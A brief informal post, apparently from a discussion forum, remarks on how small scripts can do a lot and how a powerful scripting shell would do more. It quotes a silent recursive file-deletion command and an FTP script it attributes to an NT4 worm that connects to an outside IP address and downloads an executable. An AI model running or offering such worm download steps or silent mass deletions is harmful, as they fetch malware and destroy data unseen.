Size does matter. Write an executable to do this and then delete itself in
36 bytes or less..

del \*.bak \*.tmp /s /q /f >nul 2>&1

better yet, remember i from the recent NT4 worm?

open 61.100.12.179 567
user 1 1
get e.exe
quit

that's without a powerful scripting language, imagine what handly little
tricks you can do with monad.
